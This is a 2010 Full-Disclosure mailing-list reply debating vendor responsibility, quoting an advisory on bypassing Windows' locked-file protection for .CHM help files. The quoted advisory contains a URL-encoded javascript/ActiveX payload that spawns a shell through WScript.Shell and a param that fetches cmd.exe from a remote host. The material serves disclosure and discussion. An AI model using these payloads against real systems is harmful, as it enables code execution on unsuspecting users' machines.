Re: [Full-disclosure] Microsoft Help Files (.CHM): 'Locked File' Feature Bypass

["Thor (Hammer of God)" <Thor@xxxxxxxxxxxxxxx>]

Hey man - hope all is well. 

FYI- I tried your example file and by default nothing worked on Windows 7.  The 
"loading and embedded file" says "this file is blocked", The file spawn 
requires a script prompt with a "automation error" after that, the windows 
control panel didn't launch at all,  and the files required me to save them, 
etc.

The text from the uri handler did work, but I'm not sure what the ramifications 
of that are. Oh, the Action Panel did show up. 

I agree this isn't an "exploit" but I guess it is somewhat interesting.  Of 
course, downloading random .chm files is akin to downloading any remote 
content-rendering document, except that .chm won't automatically run from the 
internet in the first place, even with your rendering code in it that must be 
accepted by the user to load in the first place.  

As such (again, notwithstanding the mild interest around it) I'm confused by 
the "This was the response I expected" comment because if I read it right, it 
sounds as if you are being condemning for some reason.  Are you saying "this is 
the response I expected" because it is the correct response and you are aware 
of what would be required to push out supported hotfixes for low impact issues, 
or are you saying "this is the response I expected" because you somehow think 
it SHOULD be hotfixed, but is not, and that is "typical" (as in 
"irresponsible") or something like that?

It actually brings up a question that I find more interesting than the issue 
itself, which is "how far is too far?"  If MSFT designs a system around 
identifying files sourced from different zones in an attempt to mitigate risk 
of end-users downloading unknown content and immediately executing it, how far 
beyond user-acknowledgment and feature disabling (as even your "bypass" example 
shows) do you think a vendor is supposed to go (Not YOU, but the royal "you")?

I think it is a valid and applicable question. We have Apple seizing every 
opportunity they can to make user-acknowledgement for mitigation marketed as an 
actual Bad Thing, yet when a file downloaded from untrusted sources on the 
internet is marked as Internet Zone, and the user has to explicitly attempt to 
open it, and doing so generates a warning and they open it anyway, and for even 
then the "bypass" code doesn't even work, yet MSFT say they'll fix it in a 
service pack anyway, the entire issue you found gets reduced to "This was the 
response I expected." 

The real issue here is that the more we criticize vendors for not Thinking For 
The User in Every Possible Circumstance, the more we see countries like AU 
thinking they will solve security issues by requiring AV and FW on every 
computer.    If I posted that my Fedora box (if I had one) allowed me to do 
something like this, nix security people would attack me with religious furor.  
 Yet the moment a left-handed, sideways, and round-the-back "issue" arises that 
really doesn't even work, and the vendor decides to fix it in schedule 
maintenance, it's still not "good enough."  

If you (again, not you, but the industry) want to be able to criticize AU for 
being idiotic, then don't continually create an environment where the 
expectation is that the vendor will do every last bit of the thinking for the 
user, because you send the message that it is OK for .gov's to get in line 
after .com's draw it.  

t

>-----Original Message-----
>From: full-disclosure-bounces@xxxxxxxxxxxxxxxxx [mailto:full-disclosure-
>bounces@xxxxxxxxxxxxxxxxx] On Behalf Of Paul Craig
>Sent: Tuesday, June 22, 2010 7:06 PM
>To: full-disclosure@xxxxxxxxxxxxxxxxx; bugtraq@xxxxxxxxxxxxxxxxx
>Subject: [Full-disclosure] Microsoft Help Files (.CHM): 'Locked File' Feature
>Bypass
>
>     (    , )     (,
>  .   `.' ) ('.    ',
>   ). , ('.   ( ) (
>  (_,) .`), ) _ _,
> /  _____/  / _  \    ____  ___   _____
> \____  \==/ /_\  \ _/ ___\/ _ \ /     \
> /       \/   |    \\  \__( <_> \  Y Y  \
>/______  /\___|__  / \____>_ __/|__|_|  /
>       \/         \/.-.    \/         \/:wq
>                    (x.0)
>                  '=.|w|.='
>                  _='`"``=.
>
>Microsoft Help Files (.CHM): 'Locked File' Bypass Versions Affected: Windows
>XP, Windows Vista, Windows 7
>
>pdf: http://www.security-
>assessment.com/files/advisories/Windows_Locked_HelpFiles.pdf
>
>+-----------+
>|Description|
>+-----------+
>
>Changes made with Windows XP introduced additional origin validation for
>files downloaded from the Internet when saved to an NTFS volume. This
>'feature' is present in Windows XP, Vista and 7.
>
>When a user downloads a .CHM file using Internet Explorer (or another
>browser) Windows will mark an NTFS meta-data flag for the file, which
>indicates the file should be "Locked". Locked Help Files will not render any
>content within the CHM file using the Help File Viewer (hh.exe) until a user
>selects the file in Explorer and clicks the "Unblock" button under the files
>properties, which resets the NTFS meta-data flag.
>
>This security feature can be bypassed by referencing external URI handlers
>from the CHM file's Table of Contents file, and links can directly accessed
>regardless of the help files locked state.
>
>Consider this example which references a local html file, and will not render:
>
><param name="Name" value="I will not work"> <param name="Local"
>value="pleasegivemeashell.htm">
>
>And this example which will render, and spawn a shell through
>javascript/vbscript + activex:
>
><param name="Name" value="shell">
> <param name="Local"
>value="javascript:document.write('%3C%68%74%6D%6C%3E%3C%73%63%72
>%69%70
>%74%3E%76%61%72%20%63%6F%6D%6D%61%6E%64%3D%70%72%6F%6D%7
>0%74%28%22%5
>7%68%69%63%68%20%66%69%6C%65%20%74%6F%20%73%70%61%77%6E%3
>F%22%29%3B%76
>%61%72%20%77%73%68%20%3D%20%6E%65%77%20%41%63%74%69%76%6
>5%58%4F%62%6
>A%65%63%74%28%22%57%53%63%72%69%70%74%2E%53%68%65%6C%6C%
>22%29%3B%77%73
>%68%2E%52%75%6E%28%63%6F%6D%6D%61%6E%64%29%3B%3C%2F%73%6
>3%72%69%70%74%
>3E%3C%2F%68%74%6D%6C%3E');">
>
>The same technique can be used to download remote files, by linking the
>table of contents to a remote http:// resource.
>
><param name="Local"
>value="http://ikat.ha.cked.net/Windows/files/cmd.exe";>
>
>The implemented locked 'feature' and the NTFS flag are effectively useless for
>CHM files.
>
>Although I would not call this an exploit, it does illustrate a nifty trick 
>that may
>prove useful to someone else.
>It might also make you think twice next time you download a Help File.
>
>+------------+
>|Exploitation|
>+------------+
>
>An example CHM file can be found at:
>http://www.security-assessment.com/files/advisories/blockedhelp.chm
>
>Source code to the Help file is available at:
>http://www.security-assessment.com/files/advisories/blockedhelp_src.zip
>
>+--------+
>|Solution|
>+--------+
>
>Microsoft acknowledge that this is a bug, but do not think it requires fixing
>until the next Windows Service Pack. This is due to the mitigating
>circumstances of CHM files and the requirements of an NTFS file system.
>
>This was the response I expected.
>
>
>
>Paul Craig
>Principal Security Consultant
>Security-Assessment.com
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/